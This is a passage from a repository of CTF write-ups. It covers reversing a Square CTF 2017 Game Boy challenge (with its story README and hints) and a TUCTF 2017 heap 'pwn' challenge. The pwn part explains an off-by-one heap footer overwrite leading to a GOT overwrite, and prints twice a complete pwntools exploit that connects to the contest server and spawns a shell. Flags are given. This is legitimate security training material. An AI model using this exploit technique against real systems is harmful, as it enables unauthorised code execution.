88 | ⌃ | 0x10
89 | 🢬 | 0x20
90 |
91 | I understand that it's hard to see in the first time, but if you try it several times, you'll definitely notice it.
92 |
93 | ### Time for reversing
94 | You can ask me now "And what should we do after this?". It's time to see the disassembled binary. Of course, we can see it in ```bgb```, but it's very inconvenient for me. Because of that, I'll use IDA Pro.
95 |
96 | When IDA runs, it asks about processor architecture. Choose ```Zilog 80 [z80]```:
97 |
98 |
99 |
100 |
101 |
102 | After this, you'll be faced with ROM and RAM parameters. I didn't change anything because IDA handled herself with this work.
103 |
104 |
105 |
106 |
107 |
108 | Let's examine the list of strings placed in this binary. We can find very interesting one:
109 |
110 |
111 |
112 |
113 |
114 | Actually, this is where we want to get. Okay, let's see a little above and find any xrefs:
115 |
116 |
117 |
118 |
119 |
120 | Oops, IDA can't disassemble these bytes. But don't be sad because of it. We still have the xref! This ```byte_2AA9``` is called from the next function:
121 |
122 |
123 |
124 |
125 |
126 | Now, we want to set the breakpoint at the ```0x338C``` address and see if this address is reachable from the code without any modifications. Let's run it.
127 |
128 | [_Omitted screen of the reached instruction. Sorry, I'm lazy. You will see it on the next screen, I promise!_]
129 |
130 | And yes, it's reachable. We are stepping in this function and see disassembled instructions (those IDA couldn't disassembly)
131 |
132 | After several instructions below, we can see interesting ```and (hl)``` at the ```0x2ADC``` address.
133 |
134 | ### Little information about ```and``` in z80
135 | ```and val``` — this is template for ```and``` instruction. It ands ```A``` register with ```val``` and then puts obtained value in the ```A``` register.
136 |
137 | Brackets in the z80 assembly is equal to brackets in x86 assembly — getting value under the address. So, our instruction takes value from ```hl``` address ands it with ```A``` register and put the value back into ```A``` register. Cool
138 |
139 | Now let's set the breakpoint at this address and see what exactly this instruction ands.
140 |
141 |
142 |
143 |
144 |
145 | So, ```A = 0x2``` and ```(hl) = 0x1```. Doesn't it look very similiar? Yes, ```(hl)``` includes our transformed bytes from the input. But it's too early to make conclusions. Let's continue execution until new ```and```
146 |
147 |
148 |
149 |
150 |
151 | Yes, in the ```(hl)``` lays our transformed bytes one by one. One more loop:
152 |
153 |
154 |
155 |
156 |
157 | Don't be confused because of unchangeable ```0x1``` in the ```(hl)```. Recall that we inputted the sequence ```🡆🡆🡆🡆🡆🡅🡅🡅🡅...```. See at the screen with this input above. So, transformed value of the ```🡆``` is exactly ```0x1```.
158 |
159 | Okay, what do we have so far? This ```and``` ands bytes of transformed input and some bytes in ```A``` register. Bytes in ```A``` register correspond to the last table. It means, that our input checking **takes place exactly in this instruction!**
160 |
161 | Next actions are obvious: Get all bytes from ```A``` register and input exactly this symbols. In the end, we will get the next:
162 | - In bytes: ```0x8 0x2 0x10 0x4 0x20 0x10 0x4 0x8 0x8 0x10 0x4 0x1 0x2 0x1 0x20 0x8```
163 | - In symbols: ```🡇🡄⌃🡅🢬⌃🡅🡇🡇⌃🡅🡆🡄🡆🢬🡇```
164 |
165 |
166 |
167 |
168 |
169 | And when we enter the last symbol we will get the flag!
170 |
171 |
172 |
173 |
174 | > flag-SUP3R-S3CUR3_1
175 |
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/README.txt:
--------------------------------------------------------------------------------
1 | The Turing Agent
2 | A Small Gameboy CTF
3 |
4 | ---
5 |
6 | You find yourself in your usual place in front of a bright blue monitor, playing a dull game of email roulette, which involves mindlessly refreshing your mailbox in hopes of a receiving news about a new mission. You never imagined that your job as a Turing Agent would come to this; the work these days has slowed to a crawl as the agency has had fewer rampant AIs to subdue. You feel a tingle from your morality meter as you catch yourself wishing for a cyber calamity.
7 |
8 | Finally, a fateful ding announces your long awaited message. A neat stack of files gleam at you from advanced desktop simulation (now with four sides!).
9 |
10 | The stack includes a README, which incidentally is where you are receiving these thoughts from right now.
11 |
12 | The README informs you that your next destination should be tools.txt, which is a little memo from your boss. It would be in your best interest to skim it over to properly prepare for the mission at hand.
13 |
14 | The README also mentions that you will find two hints tucked away at the bottom of the stack of files, if you find yourself with nowhere left to turn.
15 |
16 | Last but not least, the mission comes in the form of a binary of sorts. And now, the README will leave the rest of the thinking to you.
17 |
18 | You are jerked out of the email simulation, which is a sensation that is comparable to a minor whiplash from a car collision with your neighbor's mailbox. You shake yourself off and you feel more than ready to tackle your mission.
19 |
20 | ---
21 |
22 | Credits
23 |
24 | This game was made in collaboration by Lillian and Alice Wang.
25 | Thanks Lillian for the amazing artwork! <3
26 |
27 | ---
28 |
29 | Version History
30 |
31 | 1.0 - 08/10/2017 - First release
32 |
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/bighint.txt:
--------------------------------------------------------------------------------
1 | You find yourself in a dark and quiet bar—you're not even sure how long you've been here. The digital alcohol distorts your perception of time like no other beverage you've experienced. Suspicion crosses your mind as you wonder how you could be getting drunk in a digital simulation, but another more pressing thought pushes its way through.
2 |
3 | This puzzle is still unsolved. Will all your troubles so far go to waste? You are left with no other choice than what you're about to do. You pull up your user space terminal—a holographic blue screen lights up the otherwise colorless bar. You slowly type in the command to start a call with the external world.
4 |
5 | "Boss speaking."
6 |
7 | You are simultaneously relieved and dreading to hear that voice.
8 |
9 | "Boss, I need help. I think this world is rigged—could this all just be a game someone is playing?"
10 |
11 | "No time to break the fourth wall Agent, I just received insider information from an anonymous informant. She didn't leave her name, but she did leave us some crucial information about your target. You're looking for a 16 digit code to open the door. She left me with the address 0x______." FIXME
12 |
13 | "More magic numbers! The last one barely did me any good."
14 |
15 | "It should be enough to see you through. I believe in you, Agent, and I know you won't disappoint."
16 |
17 | And with that, the line goes silent.
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/mission.gb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/mission.gb
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/1_and.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/1_and.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/1st_flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/1st_flag.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/2_and.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/2_and.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/3_and.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/3_and.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/code.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/code.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/flag.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/halt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/halt.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/inputted_code.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/inputted_code.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/needed_call.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/needed_call.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/needed_func.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/needed_func.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/needs_code.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/needs_code.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/rom_settings.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/rom_settings.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/start.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/start.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/screens/start_ida.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/gameboy/screens/start_ida.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/smallhint.txt:
--------------------------------------------------------------------------------
1 | You're walking through the street after a long day of chasing your target—but with nothing in hand to show for your work. You stumble through the busy streets of Chinatown, lit by neon lights and filled with the lazy chatter of the crowd.
2 |
3 | The person ahead of you seems to be walking home with a steaming bag of Chinese takeout. A fortune cookie tumbles out of her bag. You reach down to return the cookie to its owner, but when you look up, your hungry target has disappeared into the crowd—probably rushing off to enjoy the dinner she had in hand.
4 |
5 | "Another target escaped... maybe I really am losing my touch," you scowl at your own perceived incompetence.
6 |
7 | You were taught to never waste any food, so you crack open the cookie and inside you find your fortune:
8 |
9 | ____ are you lucky numbers. FIXME
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/tools.txt:
--------------------------------------------------------------------------------
1 | Agent,
2 |
3 | For your upcoming mission, you will need some tools to assist you.
4 |
5 | BGB is a robust Game Boy emulator and debugger. You can find the download link below. Depending on your platform, you may need to run it through Wine.
6 | http://bgb.bircd.org/
7 |
8 | Another recommended debugger and emulator is NO$GMB. You can find the link to install it below. Similarly, you may need to run it through Wine.
9 | http://problemkaputt.de/gmb.htm
10 |
11 | Another recommend tool for your arsenal is Radare2. Radare can be used to analyzing binaries, disassembling code, debugging programs, among its many various functions. Installation instructions can be found in the Github project.
12 | https://github.com/radare/radare2
13 |
14 | Best of luck.
15 |
16 | - Boss
--------------------------------------------------------------------------------
/2017/TUCTF-2017/pwn/temple/README.md:
--------------------------------------------------------------------------------
1 | # __TUCTF 2017__
2 | ## _Temple_
3 |
4 | ## Information
5 | **Category:** | **Points:** | **Solves** | **Writeup Author**
6 | --- | --- | --- | ---
7 | Pwn | 500 | 49 | merrychap
8 |
9 | **Description:**
10 |
11 | > Have you come to gain wisdom at the temple?
12 | nc temple.tuctf.com 4343
13 |
14 | >UPDATE:
15 | the temple binary has been updated. Please redownload.
16 | temple - md5: 8e61e448093f96043512bd3580223124
17 | libc.so.6 - md5: 8548e4731a83e6ed3fc167633d28c21f
18 |
19 | ## Solution
20 | We are given with several files: [mm.c](./mm.c), [temple](./temple) and [libc.so.6](./libc.so.6). First of all, let's examine ```mm.c``` file. It's obvious that this is some heap implementation. We will explore the file more carefully later.
21 |
22 | ### Launching of the binary
23 | When I tried to run the binary I was faced with error ```>>>> BROKEN <<<<```. This happened because I didn't have file ```temple.txt``` in the same directory with the binary. So, we should create it like that ```echo "some_important_text" > temple.txt```
24 |
25 | ### Reversing the binary
26 | I reversed [temple](./temple) using IDA Pro and its Hex-Rays decomplier. All decompiled code is placed in [temple.c](./temple.c) file. You can see this file or just decompile the binary by yourself.
27 |
28 | We have an array with quotes, where we can modify only quotes created by us (first 8 quotes are reserved and created in ```make_wisdom()``` function)
29 |
30 | ### Find a vulnerability
31 | Anyway, let's see the code. We can create, remove and modify wisdoms (or just quotes. Call it as you want). The interesting place here is ```readbytes(char* buf, int bufsize)``` function in ```modify_wisdom()```:
32 |
33 | ```c
34 | __int64 __fastcall readbytes(char *buf, uint32_t bufsize) {
35 | fgets(buf, bufsize + 1, stdin);
36 | return bufsize + 1;
37 | }
38 |
39 |
40 | readbytes(quote->text, quote->text_size);
41 | ```
42 |
43 | We can enter ```quote->text``` of a length ```quote->text_size + 1```. So, we overwrite one byte after ```quote->text```. Sounds pretty nice. It's time to see memory in a debugger.
44 |
45 | Let's create six quotes. Each quote is ```32 bytes``` length and with text ```AAAA, BBBB, CCCC, DDDD, EEEE, FFFF```.
46 |
47 | Array of quotes (```temple```) looks as follows:
48 | ```
49 | 0x6031a0 : 0x0000000000625010 0x0000000000625040
50 | 0x6031b0 : 0x0000000000625070 0x00000000006250a0
51 | 0x6031c0 : 0x00000000006250d0 0x0000000000625100
52 | 0x6031d0 : 0x0000000000625130 0x0000000000625160
53 | 0x6031e0 : 0x0000000000625190 0x00000000006251f0
54 | 0x6031f0 : 0x0000000000625250 0x00000000006252b0
55 | 0x603200 : 0x0000000000625310 0x0000000000625370
56 | ```
57 |
58 | Heap memory looks like this:
59 | ```
60 | 0x625180: 0x0000000000000031 0x0000000000000031 <-- beginning of a quote
61 | 0x625190: 0x0000000000000021 0x00000000006251c0 <-- address of a text
62 | 0x6251a0: 0x0000000000000008 0x0000000000401d61 <-- address of a character
63 | 0x6251b0: 0x0000000000000031 0x0000000000000031 <-- beginning of a text
64 | 0x6251c0: 0x0000000a41414141 0x0000000000000000
65 | 0x6251d0: 0x0000000000000000 0x0000000000000000
66 | 0x6251e0: 0x0000000000000031 0x0000000000000031
67 | 0x6251f0: 0x0000000000000021 0x0000000000625220
68 | 0x625200: 0x0000000000000008 0x0000000000401d61
69 | 0x625210: 0x0000000000000031 0x0000000000000031
70 | 0x625220: 0x0000000a42424242 0x0000000000000000
71 | 0x625230: 0x0000000000000000 0x0000000000000000
72 | 0x625240: 0x0000000000000031 0x0000000000000031
73 | 0x625250: 0x0000000000000021 0x0000000000625280
74 | 0x625260: 0x0000000000000008 0x0000000000401d61
75 | 0x625270: 0x0000000000000031 0x0000000000000031
76 | 0x625280: 0x0000000a43434343 0x0000000000000000
77 | 0x625290: 0x0000000000000000 0x0000000000000000
78 | 0x6252a0: 0x0000000000000031 0x0000000000000031
79 | 0x6252b0: 0x0000000000000021 0x00000000006252e0
80 | [...]
81 | ```
82 | All heap looks as follows: ```QUOTE | TEXT | QUOTE | TEXT ...```, where a quote is a structure that contains address of its text.
83 |
84 | So, it's time to see what is placed in [mm.c](./mm.c). Heap chunk looks like this:
85 |
86 | ```| HEADER | ... PAYLOAD ... | FOOTER |```, where ```HEADER``` and ```FOOTER``` is 8 bytes length.
87 |
88 | Hence, the byte we overwrite is ```FOOTER``` byte.
89 |
90 | ### Exploiting
91 | Okay, we can control ```FOOTER``` byte, what's next? After that, we should see where ```FOOTER``` is used in heap implementation. Spending a little time on searching, I found that ```FOOTER``` is used in ```find_prev(block_t *block)``` function.
92 |
93 | #### How does find_prev work?
94 | When we free a chunk, after freeing a chunk itself, ```mm_free``` function make a coalescing of current, previous and next chunks.
95 |
96 | So, ```find_prev``` looks at the ```FOOTER``` of a previous chunk and calculate the beginning of a previous chunk depending on the ```FOOTER```. And when the beginning is found, ```coalesce``` function checks if this chunk isn't allocated (just checks the least significant bit of the ```FOOTER```). If this chunk is free then it merges both chunks in the one.
97 |
98 | #### The use of controlling a footer.
99 | Controlling the footer, we control the beginnig of a previous chunk. It means that we can say that some chunk above is free (when this chunk is actually allocated). This action gives us an opportunity to overwrite address of ```quote->text```. If we can overwrite it, then we can further write bytes in an arbitrary place in a memory.
100 |
101 | But let's see how we can overwrite ```quote->text```. For example, we have 3 quotes on a heap as written below.
102 |
103 | ```| QUOTE_1 | TEXT_1 | QUOTE_2 | TEXT_2 | QUOTE_3 | ... ```
104 |
105 | In ```TEXT_2``` we can overwrite the footer of a chunk containing ```TEXT_2``` itself (by just modifying text in ```QUOTE_2```). After we remove a quote below (```QUOTE_3```), heap will merge ```TEXT_2``` and ```QUOTE_3``` chunks. In the footer of ```TEXT_2``` we can write ```0x90``` to point to the beginning of ```TEXT_1``` chunk. This merge will write 0x90 in the ```HEADER``` of ```TEXT_1``` and in the ```FOOTER``` of ```QUOTE_3```.
106 |
107 | Actually, it doesn't matter what size is exactly we are writing. Important part here is the least significant bit of ```0x90``` is 0, which means ```TEXT_1``` chunk now is free (but still contains previous data).
108 |
109 | When ```mm_malloc``` is called, it goes through a list of chunks and if it finds a suitable chunk, it will allocate this chunk again. Hence, when we call ```give_wisdom()```, it will create a quote above of a previous ```TEXT_1``` chunk. Now the picture of chunks looks as follows:
110 |
111 | ```
112 | | QUOTE_1 | TEXT_1 | QUOTE_2 | TEXT_2 | QUOTE_3 | ...
113 | | QUOTE_1 | NEW_QUOTE | NEW_TEXT | TEXT_2 | QUOTE_3 | ...
114 | ```
115 |
116 | As you can see, if we enter in ```NEW_TEXT``` suitable data, we can overwrite fields of ```QUOTE_2``` and it will overwrite ```quote->text``` address, as we wanted.
117 |
118 | Okay, we're almost done. We can control ```quote->text``` address. If we will modify this quote, then we will write bytes in a new ```quote->text``` address. Also, we can print bytes located by this address.
119 |
120 | I decided to leak addresses of ```GOT``` functions and after that calculate address of ```system()```, basing on the given libc. If I know address of ```system```, then I will be able to write this address in ```GOT``` entry and overwrite address of a function. Yes, easy __ret2libc attack__. Function for overwriting was ```atoi```. So, if we enter ```/bin/sh``` in ```readint()``` function, then we will spawn a shell.
121 |
122 |
123 | The next [script](./exploit.py) does exactly what is written above:
124 |
125 | ```python
126 | import struct
127 |
128 | from pwn import *
129 |
130 |
131 | prompt = 'Your choice:'
132 |
133 |
134 | def take(pc, index):
135 | pc.sendline('1')
136 | pc.recvuntil('you seek?:')
137 | pc.sendline(str(index))
138 | return pc.recvuntil(prompt)
139 |
140 | def give(pc, count, wisdom):
141 | pc.sendline('2')
142 | pc.recvuntil('you hold?:')
143 | pc.sendline(str(count))
144 | pc.recvuntil(' your wisdom?:')
145 | pc.sendline(wisdom)
146 | return pc.recvuntil(prompt)
147 |
148 |
149 | def rethink(pc, index, wisdom, intr=False):
150 | pc.sendline('3')
151 | pc.recvuntil('to rethink?:')
152 | pc.sendline(str(index))
153 | pc.recvuntil('this differently?:')
154 | pc.sendline(wisdom)
155 | return pc.recvuntil(prompt)
156 |
157 |
158 | def to_int(addr):
159 | return struct.unpack('Q', addr)[0]
160 |
161 |
162 | def to_addr(n):
163 | return struct.pack('Q', n)
164 |
165 |
166 | def main():
167 | # For locale tests
168 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
169 | # pc = process('./temple')
170 |
171 | libc = ELF('./libc.so.6')
172 | pc = remote('temple.tuctf.com', 4343)
173 | pc.recvuntil(prompt)
174 |
175 | give(pc, 32, '/bin/sh')
176 | give(pc, 32, 'BBBB')
177 | give(pc, 32, 'CCCC')
178 | give(pc, 32, 'DDDD')
179 | give(pc, 32, 'EEEE')
180 | give(pc, 32, 'FFFF')
181 | give(pc, 32, 'GGGG')
182 | give(pc, 32, 'HHHH')
183 | give(pc, 32, 'IIII')
184 | give(pc, 32, 'JJJJ')
185 | give(pc, 32, 'KKKK')
186 | give(pc, 32, 'FFFF')
187 | give(pc, 32, 'GGGG')
188 | give(pc, 32, 'HHHH')
189 | give(pc, 32, 'IIII')
190 | give(pc, 32, 'JJJJ')
191 | give(pc, 32, 'KKKK')
192 |
193 | rethink(pc, 10, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90')
194 | take(pc, 11)
195 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x18\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00')
196 | print(pc.recvuntil(':'))
197 |
198 | puts = take(pc, 10)[1:9]
199 | system = to_addr(to_int(puts) - libc.symbols['puts'] + libc.symbols['system'])
200 | print('Puts address: ' + hex(to_int(puts)))
201 | print('System address: ' + hex(to_int(puts)))
202 |
203 | ################################
204 |
205 | give(pc, 32, 'LLLL')
206 | give(pc, 32, 'LLLL')
207 |
208 | ################################
209 |
210 | rethink(pc, 18, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90')
211 | take(pc, 19)
212 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x98\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00')
213 | pc.recvuntil(':')
214 |
215 |
216 | rethink(pc, 18, system)
217 | pc.sendline('/bin/sh\x00')
218 |
219 | pc.interactive()
220 |
221 |
222 | if __name__ == '__main__':
223 | main()
224 | ```
225 |
226 |
227 | Flag is:
228 | > TUCTF{0n3_Byt3_0v3rwr1t3_Ac0lyt3}
229 |
230 |
231 |
232 |
233 |
234 |
--------------------------------------------------------------------------------
/2017/TUCTF-2017/pwn/temple/exploit.py:
--------------------------------------------------------------------------------
1 | import struct
2 |
3 | from pwn import *
4 |
5 |
6 | prompt = 'Your choice:'
7 |
8 |
9 | def take(pc, index):
10 | pc.sendline('1')
11 | pc.recvuntil('you seek?:')
12 | pc.sendline(str(index))
13 | return pc.recvuntil(prompt)
14 |
15 | def give(pc, count, wisdom):
16 | pc.sendline('2')
17 | pc.recvuntil('you hold?:')
18 | pc.sendline(str(count))
19 | pc.recvuntil(' your wisdom?:')
20 | pc.sendline(wisdom)
21 | return pc.recvuntil(prompt)
22 |
23 |
24 | def rethink(pc, index, wisdom, intr=False):
25 | pc.sendline('3')
26 | pc.recvuntil('to rethink?:')
27 | pc.sendline(str(index))
28 | pc.recvuntil('this differently?:')
29 | pc.sendline(wisdom)
30 | return pc.recvuntil(prompt)
31 |
32 |
33 | def to_int(addr):
34 | return struct.unpack('Q', addr)[0]
35 |
36 |
37 | def to_addr(n):
38 | return struct.pack('Q', n)
39 |
40 |
41 | def main():
42 |
43 | libc = ELF('./libc.so.6')
44 | # libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
45 |
46 | # pc = process('./temple')
47 | pc = remote('temple.tuctf.com', 4343)
48 | pc.recvuntil(prompt)
49 |
50 | give(pc, 32, '/bin/sh')
51 | give(pc, 32, 'BBBB')
52 | give(pc, 32, 'CCCC')
53 | give(pc, 32, 'DDDD')
54 | give(pc, 32, 'EEEE')
55 | give(pc, 32, 'FFFF')
56 | give(pc, 32, 'GGGG')
57 | give(pc, 32, 'HHHH')
58 | give(pc, 32, 'IIII')
59 | give(pc, 32, 'JJJJ')
60 | give(pc, 32, 'KKKK')
61 | give(pc, 32, 'FFFF')
62 | give(pc, 32, 'GGGG')
63 | give(pc, 32, 'HHHH')
64 | give(pc, 32, 'IIII')
65 | give(pc, 32, 'JJJJ')
66 | give(pc, 32, 'KKKK')
67 |
68 | rethink(pc, 10, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90')
69 | take(pc, 11)
70 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x18\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00')
71 | print(pc.recvuntil(':'))
72 |
73 | puts = take(pc, 10)[1:9]
74 | system = to_addr(to_int(puts) - libc.symbols['puts'] + libc.symbols['system'])
75 | print('Puts address: ' + hex(to_int(puts)))
76 | print('System address: ' + hex(to_int(puts)))
77 |
78 | ################################
79 |
80 | give(pc, 32, 'LLLL')
81 | give(pc, 32, 'LLLL')
82 |
83 | ################################
84 |
85 | rethink(pc, 18, 'BBBBBB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90')
86 | take(pc, 19)
87 | give(pc, 32, '\xff\xff\x00\x00\x00\x00\x00\x00\x98\x30\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x1c\x40\x00\x00\x00\x00\x00')
88 | pc.recvuntil(':')
89 |
90 |
91 | rethink(pc, 18, system)
92 | pc.sendline('/bin/sh\x00')
93 |
94 | pc.interactive()
95 |
96 |
97 | if __name__ == '__main__':
98 | main()
--------------------------------------------------------------------------------
/2017/TUCTF-2017/pwn/temple/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/TUCTF-2017/pwn/temple/libc.so.6
--------------------------------------------------------------------------------
/2017/TUCTF-2017/pwn/temple/screens/heap.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/TUCTF-2017/pwn/temple/screens/heap.png
--------------------------------------------------------------------------------
/2017/TUCTF-2017/pwn/temple/temple:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/TUCTF-2017/pwn/temple/temple
--------------------------------------------------------------------------------
/2017/TUCTF-2017/pwn/temple/temple.c:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | quote_t *__fastcall scribe_recall(uint32_t num) {
5 | quote_t *result; // rax@2
6 | quote_t *quote; // [sp+18h] [bp-8h]@3
7 |
8 | if ( num < templeWisdom ) {
9 | quote = temple[(unsigned __int64)num];
10 | if ( !quote )
11 | puts("You have already studied this knowledge.");
12 | result = quote;
13 | }
14 | else {
15 | puts("You will find no knowledge of this here.");
16 | result = 0LL;
17 | }
18 | return result;
19 | }
20 |
21 |
22 | void __fastcall free_wisdom(quote_t *quote) {
23 | int i; // [sp+1Ch] [bp-4h]@3
24 |
25 | if ( !strcmp(quote->character, "Neonate\n") )
26 | mm_free(quote->text);
27 | mm_free(quote);
28 | for ( i = 0; i < templeWisdom; ++i ) {
29 | if ( quote == temple[i] ) {
30 | temple[i] = 0LL;
31 | return;
32 | }
33 | }
34 | }
35 |
36 |
37 | void __fastcall print_wisdom(quote_t *quote) {
38 | write(1, quote->text, quote->text_size);
39 | write(1, "\t - ", 4uLL);
40 | write(1, quote->character, quote->character_size);
41 | }
42 |
43 |
44 | __int64 __fastcall readbytes(char *buf, uint32_t bufsize) {
45 | fgets(buf, bufsize + 1, stdin);
46 | return bufsize + 1;
47 | }
48 |
49 |
50 | __int64 __cdecl readint() {
51 | __int64 result; // rax@3
52 | __int64 v1; // rcx@6
53 | int i; // [sp+Ch] [bp-114h]@2
54 | char buf[256]; // [sp+10h] [bp-110h]@1
55 | __int64 v4; // [sp+118h] [bp-8h]@1
56 |
57 | v4 = *MK_FP(__FS__, 40LL);
58 | if ( fgets(buf, 256, stdin) ) {
59 | i = atoi(buf);
60 | if ( i >= 0 )
61 | result = (unsigned int)i;
62 | else
63 | result = 0LL;
64 | }
65 | else {
66 | result = 0LL;
67 | }
68 | v1 = *MK_FP(__FS__, 40LL) ^ v4;
69 | return result;
70 | }
71 |
72 |
73 | void __cdecl modify_wisdom() {
74 | unsigned int num; // [sp+4h] [bp-Ch]@1
75 | quote_t *quote; // [sp+8h] [bp-8h]@3
76 |
77 | printf("What wisdom do you wish to rethink?: ");
78 | num = readint();
79 | if ( num > 7 ) {
80 | quote = scribe_recall(num);
81 | if ( quote ) {
82 | printf("(%lu) How do you see this differently?: ", quote->text_size);
83 | readbytes(quote->text, quote->text_size);
84 | }
85 | }
86 | else {
87 | puts("That's not your wisdom!");
88 | }
89 | }
90 |
91 |
92 | void __cdecl give_wisdom() {
93 | quote_t *newQuote; // ST10_8@3
94 | char *v1; // rax@3
95 | char *newWisdom; // ST18_8@3
96 | unsigned int v3; // eax@3
97 | uint32_t size; // [sp+8h] [bp-18h]@1
98 |
99 | printf("How much wisdom do you hold?: ");
100 | size = readint();
101 | if ( size ) {
102 | printf("What is your wisdom?: ");
103 | newQuote = (quote_t *)mm_malloc(32uLL);
104 | v1 = (char *)mm_malloc(size);
105 | newWisdom = v1;
106 | v3 = readbytes(v1, size);
107 | newQuote->text = newWisdom;
108 | newQuote->text_size = v3;
109 | newQuote->character = "Neonate\n";
110 | newQuote->character_size = strlen(newQuote->character);
111 | scribe_store(newQuote);
112 | }
113 | else {
114 | puts("Your wisdom is not wanted here.");
115 | }
116 | }
117 |
118 |
119 | void __cdecl take_wisdom() {
120 | uint32_t input; // ST04_4@1
121 | quote_t *quote; // [sp+8h] [bp-8h]@1
122 |
123 | printf("What wisdom do you seek?: ");
124 | input = readint();
125 | quote = scribe_recall(input);
126 | if ( quote ) {
127 | print_wisdom(quote);
128 | free_wisdom(quote);
129 | }
